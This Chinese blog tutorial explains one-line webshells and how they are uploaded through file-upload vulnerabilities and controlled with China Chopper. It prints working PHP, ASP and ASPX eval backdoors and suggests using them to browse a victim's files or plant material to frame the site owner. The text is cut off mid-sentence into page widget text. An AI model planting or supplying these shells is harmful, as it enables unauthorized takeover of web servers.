Web安全:一句话木马

本文详细介绍了Web安全中的一句话木马,包括其基本原理、入侵条件、常见形式和利用方法。通过实例展示了如何利用文件上传漏洞,结合中国菜刀工具控制网站。此外,还探讨了图片木马、木马免杀、小马和大马的差异,并讨论了WebShell的概念。
摘要由CSDN通过智能技术生成

概述

在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此,那么一句话木马到底是什么呢?

先来看看最简单的一句话木马:

   <?php @eval($_POST['attack']) ?>
  • 基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。

入侵条件

其中,只要攻击者满足三个条件,就能实现成功入侵:

(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。

常见形式

常见的一句话木马:

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。

基本原理

首先我们先看一个原始而又简单的php一句话木马:

   <?php @eval($_POST['cmd']); ?>
  • 1

看到这里不得不赞美前辈的智慧。对于一个稍微懂一些php的人而言,或者初级的安全爱好者,或者脚本小子而言,看到的第一眼就是密码是cmd,通过post提交数据,但是具体如何执行的,却不得而知,下面我们分析一句话是如何执行的。

这句话什么意思呢?

(1)php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
(2)@符号的意思是不报错,即使执行错误,也不报错。
在这里插入图片描述
为什么呢?因为一个变量没有定义,就被拿去使用了,服务器就善意的提醒:Notice,你的xxx变量没有定义。这不就暴露了密码吗?所以我们加上@

(3)为什么密码是cmd呢?

那就要来理解这句话的意思了。php里面几个超全局变量:$_GET$_POST就是其中之一。$_POST['a']; 的意思就是a这个变量,用post的方法接收。

注释:传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2)

(4)如何理解eval()函数

eval()把字符串作为PHP代码执行

例如:eval("echo 'a'");其实就等于直接 echo 'a';再来看看<?php eval($_POST['pw']); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';这时代码就变成<?php eval("echo 'a';"); ?>。结果如下:
在这里插入图片描述
连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行。所以也就能这么玩:也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马。你想查看目标硬盘里有没有小黄片,可以用php函数:opendir()readdir()等等。想上传点小黄片,诬陷站主,就用php函数:move_uploaded_file&#x

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值